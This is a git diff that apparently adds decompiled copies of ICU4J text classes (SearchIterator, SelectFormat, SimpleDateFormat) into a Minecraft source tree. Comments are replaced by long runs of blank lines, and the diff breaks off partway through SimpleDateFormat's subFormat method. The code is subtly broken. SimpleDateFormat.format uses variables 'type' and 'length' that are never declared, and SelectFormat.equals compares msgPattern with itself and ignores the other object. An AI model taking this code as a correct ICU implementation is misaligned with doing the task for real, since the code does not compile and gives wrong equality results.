+    m_setOffset_ = -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int first()
+  {
+    m_isForwardSearching_ = true;
+    setIndex(targetText.getBeginIndex());
+    return next();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int following(int position)
+  {
+    m_isForwardSearching_ = true;
+    
+    setIndex(position);
+    return next();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int last()
+  {
+    m_isForwardSearching_ = false;
+    setIndex(targetText.getEndIndex());
+    return previous();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int preceding(int position)
+  {
+    m_isForwardSearching_ = false;
+    
+    setIndex(position);
+    return previous();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected SearchIterator(CharacterIterator target, BreakIterator breaker)
+  {
+    if ((target == null) || (target.getEndIndex() - target.getBeginIndex() == 0))
+    {
+      throw new IllegalArgumentException("Illegal argument target.  Argument can not be null or of length 0");
+    }
+    
+
+    targetText = target;
+    breakIterator = breaker;
+    if (breakIterator != null) {
+      breakIterator.setText(target);
+    }
+    matchLength = 0;
+    m_lastMatchStart_ = -1;
+    m_isOverlap_ = false;
+    m_isForwardSearching_ = true;
+    m_reset_ = true;
+    m_setOffset_ = -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void setMatchLength(int length)
+  {
+    matchLength = length;
+  }
+  
+  protected abstract int handleNext(int paramInt);
+  
+  protected abstract int handlePrevious(int paramInt);
+}
diff --git a/src/minecraft/com/ibm/icu/text/SelectFormat.java b/src/minecraft/com/ibm/icu/text/SelectFormat.java
new file mode 100644
index 0000000..85ea94e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SelectFormat.java
@@ -0,0 +1,384 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.PatternProps;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.text.FieldPosition;
+import java.text.Format;
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SelectFormat
+  extends Format
+{
+  private static final long serialVersionUID = 2993154333257524984L;
+  private String pattern = null;
+  
+
+
+
+  private transient MessagePattern msgPattern;
+  
+
+
+
+
+  public SelectFormat(String pattern)
+  {
+    applyPattern(pattern);
+  }
+  
+
+
+  private void reset()
+  {
+    pattern = null;
+    if (msgPattern != null) {
+      msgPattern.clear();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void applyPattern(String pattern)
+  {
+    this.pattern = pattern;
+    if (msgPattern == null) {
+      msgPattern = new MessagePattern();
+    }
+    try {
+      msgPattern.parseSelectStyle(pattern);
+    } catch (RuntimeException e) {
+      reset();
+      throw e;
+    }
+  }
+  
+
+
+
+
+
+  public String toPattern()
+  {
+    return pattern;
+  }
+  
+
+
+
+
+
+
+  static int findSubMessage(MessagePattern pattern, int partIndex, String keyword)
+  {
+    int count = pattern.countParts();
+    int msgStart = 0;
+    do
+    {
+      MessagePattern.Part part = pattern.getPart(partIndex++);
+      MessagePattern.Part.Type type = part.getType();
+      if (type == MessagePattern.Part.Type.ARG_LIMIT) {
+        break;
+      }
+      assert (type == MessagePattern.Part.Type.ARG_SELECTOR);
+      
+      if (pattern.partSubstringMatches(part, keyword))
+      {
+        return partIndex; }
+      if ((msgStart == 0) && (pattern.partSubstringMatches(part, "other"))) {
+        msgStart = partIndex;
+      }
+      partIndex = pattern.getLimitPartIndex(partIndex);
+      partIndex++; } while (partIndex < count);
+    return msgStart;
+  }
+  
+
+
+
+
+
+
+
+
+  public final String format(String keyword)
+  {
+    if (!PatternProps.isIdentifier(keyword)) {
+      throw new IllegalArgumentException("Invalid formatting argument.");
+    }
+    
+    if ((msgPattern == null) || (msgPattern.countParts() == 0)) {
+      throw new IllegalStateException("Invalid format error.");
+    }
+    
+
+    int msgStart = findSubMessage(msgPattern, 0, keyword);
+    if (!msgPattern.jdkAposMode()) {
+      int msgLimit = msgPattern.getLimitPartIndex(msgStart);
+      return msgPattern.getPatternString().substring(msgPattern.getPart(msgStart).getLimit(), msgPattern.getPatternIndex(msgLimit));
+    }
+    
+
+    StringBuilder result = null;
+    int prevIndex = msgPattern.getPart(msgStart).getLimit();
+    int i = msgStart;
+    for (;;) { MessagePattern.Part part = msgPattern.getPart(++i);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      if (type == MessagePattern.Part.Type.MSG_LIMIT) {
+        if (result == null) {
+          return pattern.substring(prevIndex, index);
+        }
+        return result.append(pattern, prevIndex, index).toString();
+      }
+      if (type == MessagePattern.Part.Type.SKIP_SYNTAX) {
+        if (result == null) {
+          result = new StringBuilder();
+        }
+        result.append(pattern, prevIndex, index);
+        prevIndex = part.getLimit();
+      } else if (type == MessagePattern.Part.Type.ARG_START) {
+        if (result == null) {
+          result = new StringBuilder();
+        }
+        result.append(pattern, prevIndex, index);
+        prevIndex = index;
+        i = msgPattern.getLimitPartIndex(i);
+        index = msgPattern.getPart(i).getLimit();
+        MessagePattern.appendReducedApostrophes(pattern, prevIndex, index, result);
+        prevIndex = index;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(Object keyword, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    if ((keyword instanceof String)) {
+      toAppendTo.append(format((String)keyword));
+    } else {
+      throw new IllegalArgumentException("'" + keyword + "' is not a String");
+    }
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if ((obj == null) || (getClass() != obj.getClass())) {
+      return false;
+    }
+    SelectFormat sf = (SelectFormat)obj;
+    return msgPattern == null ? false : msgPattern == null ? true : msgPattern.equals(msgPattern);
+  }
+  
+
+
+
+
+  public int hashCode()
+  {
+    if (pattern != null) {
+      return pattern.hashCode();
+    }
+    return 0;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return "pattern='" + pattern + "'";
+  }
+  
+  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
+  {
+    in.defaultReadObject();
+    if (pattern != null) {
+      applyPattern(pattern);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/SimpleDateFormat.java b/src/minecraft/com/ibm/icu/text/SimpleDateFormat.java
new file mode 100644
index 0000000..9d09c99
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SimpleDateFormat.java
@@ -0,0 +1,3904 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CalendarData;
+import com.ibm.icu.impl.DateNumberFormat;
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.util.BasicTimeZone;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.Calendar.FormatConfiguration;
+import com.ibm.icu.util.HebrewCalendar;
+import com.ibm.icu.util.Output;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZoneRule;
+import com.ibm.icu.util.TimeZoneTransition;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.text.AttributedCharacterIterator;
+import java.text.AttributedString;
+import java.text.FieldPosition;
+import java.text.Format.Field;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleDateFormat
+  extends DateFormat
+{
+  private static final long serialVersionUID = 4774881970558875024L;
+  static final int currentSerialVersion = 2;
+  static boolean DelayedHebrewMonthCheck = false;
+  
+
+
+
+
+
+
+
+
+  private static final int[] CALENDAR_FIELD_TO_LEVEL = { 0, 10, 20, 20, 30, 30, 20, 30, 30, 40, 50, 50, 60, 70, 80, 0, 0, 10, 30, 10, 0, 40 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] PATTERN_CHAR_TO_LEVEL = { -1, 40, -1, -1, 20, 30, 30, 0, 50, -1, -1, 50, 20, 20, -1, 0, -1, 20, -1, 80, -1, 10, 0, 30, 0, 10, 0, -1, -1, -1, -1, -1, -1, 40, -1, 30, 30, 30, -1, 0, 50, -1, -1, 50, -1, 60, -1, -1, -1, 20, -1, 70, -1, 10, 0, 20, 0, 10, 0, -1, -1, -1, -1, -1 };
+  
+
+
+
+
+
+
+
+
+
+  private static final int HEBREW_CAL_CUR_MILLENIUM_START_YEAR = 5000;
+  
+
+
+
+
+
+
+
+
+
+  private static final int HEBREW_CAL_CUR_MILLENIUM_END_YEAR = 6000;
+  
+
+
+
+
+
+
+
+
+  private int serialVersionOnStream = 2;
+  
+
+
+
+
+  private String pattern;
+  
+
+
+
+
+  private String override;
+  
+
+
+
+
+  private HashMap<String, NumberFormat> numberFormatters;
+  
+
+
+
+
+  private HashMap<Character, String> overrideMap;
+  
+
+
+
+
+  private DateFormatSymbols formatData;
+  
+
+
+
+  private transient ULocale locale;
+  
+
+
+
+  private Date defaultCenturyStart;
+  
+
+
+
+  private transient int defaultCenturyStartYear;
+  
+
+
+
+  private transient long defaultCenturyBase;
+  
+
+
+
+  private transient TimeZoneFormat.TimeType tztype = TimeZoneFormat.TimeType.UNKNOWN;
+  
+
+
+
+
+  private static final int millisPerHour = 3600000;
+  
+
+
+
+
+  private static final int ISOSpecialEra = -32000;
+  
+
+
+
+
+  private static final String SUPPRESS_NEGATIVE_PREFIX = "꬀";
+  
+
+
+
+  private transient boolean useFastFormat;
+  
+
+
+
+  private volatile TimeZoneFormat tzFormat;
+  
+
+
+
+  private transient DisplayContext capitalizationSetting;
+  
+
+
+
+
+  private static enum ContextValue
+  {
+    UNKNOWN, 
+    CAPITALIZATION_FOR_MIDDLE_OF_SENTENCE, 
+    CAPITALIZATION_FOR_BEGINNING_OF_SENTENCE, 
+    CAPITALIZATION_FOR_UI_LIST_OR_MENU, 
+    CAPITALIZATION_FOR_STANDALONE;
+    
+
+
+
+    private ContextValue() {}
+  }
+  
+
+
+
+  public SimpleDateFormat()
+  {
+    this(getDefaultPattern(), null, null, null, null, true, null);
+  }
+  
+
+
+
+
+
+
+
+  public SimpleDateFormat(String pattern)
+  {
+    this(pattern, null, null, null, null, true, null);
+  }
+  
+
+
+
+
+
+
+  public SimpleDateFormat(String pattern, Locale loc)
+  {
+    this(pattern, null, null, null, ULocale.forLocale(loc), true, null);
+  }
+  
+
+
+
+
+
+
+  public SimpleDateFormat(String pattern, ULocale loc)
+  {
+    this(pattern, null, null, null, loc, true, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleDateFormat(String pattern, String override, ULocale loc)
+  {
+    this(pattern, null, null, null, loc, false, override);
+  }
+  
+
+
+
+
+
+
+  public SimpleDateFormat(String pattern, DateFormatSymbols formatData)
+  {
+    this(pattern, (DateFormatSymbols)formatData.clone(), null, null, null, true, null);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public SimpleDateFormat(String pattern, DateFormatSymbols formatData, ULocale loc)
+  {
+    this(pattern, (DateFormatSymbols)formatData.clone(), null, null, loc, true, null);
+  }
+  
+
+
+
+
+
+
+  SimpleDateFormat(String pattern, DateFormatSymbols formatData, Calendar calendar, ULocale locale, boolean useFastFormat, String override)
+  {
+    this(pattern, (DateFormatSymbols)formatData.clone(), (Calendar)calendar.clone(), null, locale, useFastFormat, override);
+  }
+  
+
+
+
+  private SimpleDateFormat(String pattern, DateFormatSymbols formatData, Calendar calendar, NumberFormat numberFormat, ULocale locale, boolean useFastFormat, String override)
+  {
+    this.pattern = pattern;
+    this.formatData = formatData;
+    this.calendar = calendar;
+    this.numberFormat = numberFormat;
+    this.locale = locale;
+    this.useFastFormat = useFastFormat;
+    this.override = override;
+    initialize();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static SimpleDateFormat getInstance(Calendar.FormatConfiguration formatConfig)
+  {
+    String ostr = formatConfig.getOverrideString();
+    boolean useFast = (ostr != null) && (ostr.length() > 0);
+    
+    return new SimpleDateFormat(formatConfig.getPatternString(), formatConfig.getDateFormatSymbols(), formatConfig.getCalendar(), null, formatConfig.getLocale(), useFast, formatConfig.getOverrideString());
+  }
+  
+
+
+
+
+
+
+
+
+  private void initialize()
+  {
+    if (locale == null) {
+      locale = ULocale.getDefault(ULocale.Category.FORMAT);
+    }
+    if (formatData == null) {
+      formatData = new DateFormatSymbols(locale);
+    }
+    if (calendar == null) {
+      calendar = Calendar.getInstance(locale);
+    }
+    if (numberFormat == null) {
+      NumberingSystem ns = NumberingSystem.getInstance(locale);
+      if (ns.isAlgorithmic()) {
+        numberFormat = NumberFormat.getInstance(locale);
+      } else {
+        String digitString = ns.getDescription();
+        String nsName = ns.getName();
+        
+        numberFormat = new DateNumberFormat(locale, digitString, nsName);
+      }
+    }
+    
+
+    defaultCenturyBase = System.currentTimeMillis();
+    
+    setLocale(calendar.getLocale(ULocale.VALID_LOCALE), calendar.getLocale(ULocale.ACTUAL_LOCALE));
+    initLocalZeroPaddingNumberFormat();
+    
+    if (override != null) {
+      initNumberFormatters(locale);
+    }
+    
+    capitalizationSetting = DisplayContext.CAPITALIZATION_NONE;
+  }
+  
+
+
+
+
+
+
+  private synchronized void initializeTimeZoneFormat(boolean bForceUpdate)
+  {
+    if ((bForceUpdate) || (tzFormat == null)) {
+      tzFormat = TimeZoneFormat.getInstance(locale);
+      
+      String digits = null;
+      if ((numberFormat instanceof DecimalFormat)) {
+        DecimalFormatSymbols decsym = ((DecimalFormat)numberFormat).getDecimalFormatSymbols();
+        digits = new String(decsym.getDigits());
+      } else if ((numberFormat instanceof DateNumberFormat)) {
+        digits = new String(((DateNumberFormat)numberFormat).getDigits());
+      }
+      
+      if ((digits != null) && 
+        (!tzFormat.getGMTOffsetDigits().equals(digits))) {
+        if (tzFormat.isFrozen()) {
+          tzFormat = tzFormat.cloneAsThawed();
+        }
+        tzFormat.setGMTOffsetDigits(digits);
+      }
+    }
+  }
+  
+
+
+
+
+  private TimeZoneFormat tzFormat()
+  {
+    if (tzFormat == null) {
+      initializeTimeZoneFormat(false);
+    }
+    return tzFormat;
+  }
+  
+
+  private static ULocale cachedDefaultLocale = null;
+  private static String cachedDefaultPattern = null;
+  
+  private static final String FALLBACKPATTERN = "yy/MM/dd HH:mm";
+  
+  private static final int PATTERN_CHAR_BASE = 64;
+  
+  private static synchronized String getDefaultPattern()
+  {
+    ULocale defaultLocale = ULocale.getDefault(ULocale.Category.FORMAT);
+    if (!defaultLocale.equals(cachedDefaultLocale)) {
+      cachedDefaultLocale = defaultLocale;
+      Calendar cal = Calendar.getInstance(cachedDefaultLocale);
+      try {
+        CalendarData calData = new CalendarData(cachedDefaultLocale, cal.getType());
+        String[] dateTimePatterns = calData.getDateTimePatterns();
+        int glueIndex = 8;
+        if (dateTimePatterns.length >= 13)
+        {
+          glueIndex += 4;
+        }
+        cachedDefaultPattern = MessageFormat.format(dateTimePatterns[glueIndex], new Object[] { dateTimePatterns[3], dateTimePatterns[7] });
+      }
+      catch (MissingResourceException e) {
+        cachedDefaultPattern = "yy/MM/dd HH:mm";
+      }
+    }
+    return cachedDefaultPattern;
+  }
+  
+
+
+  private void parseAmbiguousDatesAsAfter(Date startDate)
+  {
+    defaultCenturyStart = startDate;
+    calendar.setTime(startDate);
+    defaultCenturyStartYear = calendar.get(1);
+  }
+  
+
+
+  private void initializeDefaultCenturyStart(long baseTime)
+  {
+    defaultCenturyBase = baseTime;
+    
+
+    Calendar tmpCal = (Calendar)calendar.clone();
+    tmpCal.setTimeInMillis(baseTime);
+    tmpCal.add(1, -80);
+    defaultCenturyStart = tmpCal.getTime();
+    defaultCenturyStartYear = tmpCal.get(1);
+  }
+  
+  private Date getDefaultCenturyStart()
+  {
+    if (defaultCenturyStart == null)
+    {
+      initializeDefaultCenturyStart(defaultCenturyBase);
+    }
+    return defaultCenturyStart;
+  }
+  
+  private int getDefaultCenturyStartYear()
+  {
+    if (defaultCenturyStart == null)
+    {
+      initializeDefaultCenturyStart(defaultCenturyBase);
+    }
+    return defaultCenturyStartYear;
+  }
+  
+
+
+
+
+
+
+  public void set2DigitYearStart(Date startDate)
+  {
+    parseAmbiguousDatesAsAfter(startDate);
+  }
+  
+
+
+
+
+
+
+  public Date get2DigitYearStart()
+  {
+    return getDefaultCenturyStart();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(Calendar cal, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    TimeZone backupTZ = null;
+    if ((cal != calendar) && (!cal.getType().equals(calendar.getType())))
+    {
+
+
+      calendar.setTimeInMillis(cal.getTimeInMillis());
+      backupTZ = calendar.getTimeZone();
+      calendar.setTimeZone(cal.getTimeZone());
+      cal = calendar;
+    }
+    StringBuffer result = format(cal, capitalizationSetting, toAppendTo, pos, null);
+    if (backupTZ != null)
+    {
+      calendar.setTimeZone(backupTZ);
+    }
+    return result;
+  }
+  
+
+
+
+  private StringBuffer format(Calendar cal, DisplayContext capitalizationContext, StringBuffer toAppendTo, FieldPosition pos, List<FieldPosition> attributes)
+  {
+    pos.setBeginIndex(0);
+    pos.setEndIndex(0);
+    
+
+
+
+
+    Object[] items = getPatternItems();
+    for (int i = 0; i < items.length; i++) {
+      if ((items[i] instanceof String)) {
+        toAppendTo.append((String)items[i]);
+      } else {
+        PatternItem item = (PatternItem)items[i];
+        int start = 0;
+        if (attributes != null)
+        {
+          start = toAppendTo.length();
+        }
+        if (useFastFormat) {
+          subFormat(toAppendTo, type, length, toAppendTo.length(), i, capitalizationContext, pos, cal);
+        }
+        else {
+          toAppendTo.append(subFormat(type, length, toAppendTo.length(), i, capitalizationContext, pos, cal));
+        }
+        
+        if (attributes != null)
+        {
+          int end = toAppendTo.length();
+          if (end - start > 0)
+          {
+            DateFormat.Field attr = patternCharToDateFormatField(type);
+            FieldPosition fp = new FieldPosition(attr);
+            fp.setBeginIndex(start);
+            fp.setEndIndex(end);
+            attributes.add(fp);
+          }
+        }
+      }
+    }
+    return toAppendTo;
+  }
+  
+
+
+
+  private static final int[] PATTERN_CHAR_TO_INDEX = { -1, 22, -1, -1, 10, 9, 11, 0, 5, -1, -1, 16, 26, 2, -1, 31, -1, 27, -1, 8, -1, 30, 29, 13, 32, 18, 23, -1, -1, -1, -1, -1, -1, 14, -1, 25, 3, 19, -1, 21, 15, -1, -1, 4, -1, 6, -1, -1, -1, 28, -1, 7, -1, 20, 24, 12, 33, 1, 17, -1, -1, -1, -1, -1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] PATTERN_INDEX_TO_CALENDAR_FIELD = { 0, 1, 2, 5, 11, 11, 12, 13, 14, 7, 6, 8, 3, 4, 9, 10, 10, 15, 17, 18, 19, 20, 21, 15, 15, 18, 2, 2, 2, 15, 1, 15, 15, 15 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] PATTERN_INDEX_TO_DATE_FORMAT_FIELD = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final DateFormat.Field[] PATTERN_INDEX_TO_DATE_FORMAT_ATTRIBUTE = { DateFormat.Field.ERA, DateFormat.Field.YEAR, DateFormat.Field.MONTH, DateFormat.Field.DAY_OF_MONTH, DateFormat.Field.HOUR_OF_DAY1, DateFormat.Field.HOUR_OF_DAY0, DateFormat.Field.MINUTE, DateFormat.Field.SECOND, DateFormat.Field.MILLISECOND, DateFormat.Field.DAY_OF_WEEK, DateFormat.Field.DAY_OF_YEAR, DateFormat.Field.DAY_OF_WEEK_IN_MONTH, DateFormat.Field.WEEK_OF_YEAR, DateFormat.Field.WEEK_OF_MONTH, DateFormat.Field.AM_PM, DateFormat.Field.HOUR1, DateFormat.Field.HOUR0, DateFormat.Field.TIME_ZONE, DateFormat.Field.YEAR_WOY, DateFormat.Field.DOW_LOCAL, DateFormat.Field.EXTENDED_YEAR, DateFormat.Field.JULIAN_DAY, DateFormat.Field.MILLISECONDS_IN_DAY, DateFormat.Field.TIME_ZONE, DateFormat.Field.TIME_ZONE, DateFormat.Field.DAY_OF_WEEK, DateFormat.Field.MONTH, DateFormat.Field.QUARTER, DateFormat.Field.QUARTER, DateFormat.Field.TIME_ZONE, DateFormat.Field.YEAR, DateFormat.Field.TIME_ZONE, DateFormat.Field.TIME_ZONE, DateFormat.Field.TIME_ZONE };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat.Field patternCharToDateFormatField(char ch)
+  {
+    int patternCharIndex = -1;
+    if (('A' <= ch) && (ch <= 'z')) {
+      patternCharIndex = PATTERN_CHAR_TO_INDEX[(ch - '@')];
+    }
+    if (patternCharIndex != -1) {
+      return PATTERN_INDEX_TO_DATE_FORMAT_ATTRIBUTE[patternCharIndex];
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected String subFormat(char ch, int count, int beginOffset, FieldPosition pos, DateFormatSymbols fmtData, Calendar cal)
+    throws IllegalArgumentException
+  {
+    return subFormat(ch, count, beginOffset, 0, DisplayContext.CAPITALIZATION_NONE, pos, cal);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected String subFormat(char ch, int count, int beginOffset, int fieldNum, DisplayContext capitalizationContext, FieldPosition pos, Calendar cal)
+  {
+    StringBuffer buf = new StringBuffer();
+    subFormat(buf, ch, count, beginOffset, fieldNum, capitalizationContext, pos, cal);
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void subFormat(StringBuffer buf, char ch, int count, int beginOffset, int fieldNum, DisplayContext capitalizationContext, FieldPosition pos, Calendar cal)
+  {
+    int maxIntCount = Integer.MAX_VALUE;
+    int bufstart = buf.length();
+    TimeZone tz = cal.getTimeZone();
+    long date = cal.getTimeInMillis();
+    String result = null;
+    
+
+    int patternCharIndex = -1;
+    if (('A' <= ch) && (ch <= 'z')) {
+      patternCharIndex = PATTERN_CHAR_TO_INDEX[(ch - '@')];
+    }
+    
+    if (patternCharIndex == -1) {
+      if (ch == 'l') {
+        return;
+      }
+      throw new IllegalArgumentException("Illegal pattern character '" + ch + "' in \"" + pattern + '"');
+    }
+    
+
+
+
+    int field = PATTERN_INDEX_TO_CALENDAR_FIELD[patternCharIndex];
+    int value = cal.get(field);
+    
+    NumberFormat currentNumberFormat = getNumberFormat(ch);
+    DateFormatSymbols.CapitalizationContextUsage capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.OTHER;
+    
+    switch (patternCharIndex) {
+    case 0: 
+      if (cal.getType().equals("chinese"))
+      {
+        zeroPaddingNumber(currentNumberFormat, buf, value, 1, 9);
+      }
+      else if (count == 5) {
+        safeAppend(formatData.narrowEras, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.ERA_NARROW;
+      } else if (count == 4) {
+        safeAppend(formatData.eraNames, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.ERA_WIDE;
+      } else {
+        safeAppend(formatData.eras, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.ERA_ABBREV;
+      }
+      
+      break;
+    case 30: 
+      if ((formatData.shortYearNames != null) && (value <= formatData.shortYearNames.length))
+        safeAppend(formatData.shortYearNames, value - 1, buf);
+      break;
+    
+
+    case 1: 
+    case 18: 
+      if ((override != null) && ((override.compareTo("hebr") == 0) || (override.indexOf("y=hebr") >= 0)) && (value > 5000) && (value < 6000))
+      {
+        value -= 5000;
+      }
+      
+
+
+
+
+
+      if (count == 2) {
+        zeroPaddingNumber(currentNumberFormat, buf, value, 2, 2);
+      } else {
+        zeroPaddingNumber(currentNumberFormat, buf, value, count, Integer.MAX_VALUE);
+      }
+      break;
+    case 2: 
+    case 26: 
+      if (cal.getType().equals("hebrew")) {
+        boolean isLeap = HebrewCalendar.isLeapYear(cal.get(1));
+        if ((isLeap) && (value == 6) && (count >= 3)) {
+          value = 13;
+        }
+        if ((!isLeap) && (value >= 6) && (count < 3)) {
+          value--;
+        }
+      }
+      int isLeapMonth = (formatData.leapMonthPatterns != null) && (formatData.leapMonthPatterns.length >= 7) ? cal.get(22) : 0;
+      
+
+      if (count == 5) {
+        if (patternCharIndex == 2) {
+          safeAppendWithMonthPattern(formatData.narrowMonths, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[2] : null);
+        } else {
+          safeAppendWithMonthPattern(formatData.standaloneNarrowMonths, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[5] : null);
+        }
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.MONTH_NARROW;
+      } else if (count == 4) {
+        if (patternCharIndex == 2) {
+          safeAppendWithMonthPattern(formatData.months, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[0] : null);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.MONTH_FORMAT;
+        } else {
+          safeAppendWithMonthPattern(formatData.standaloneMonths, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[3] : null);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.MONTH_STANDALONE;
+        }
+      } else if (count == 3) {
+        if (patternCharIndex == 2) {
+          safeAppendWithMonthPattern(formatData.shortMonths, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[1] : null);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.MONTH_FORMAT;
+        } else {
+          safeAppendWithMonthPattern(formatData.standaloneShortMonths, value, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[4] : null);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.MONTH_STANDALONE;
+        }
+      } else {
+        StringBuffer monthNumber = new StringBuffer();
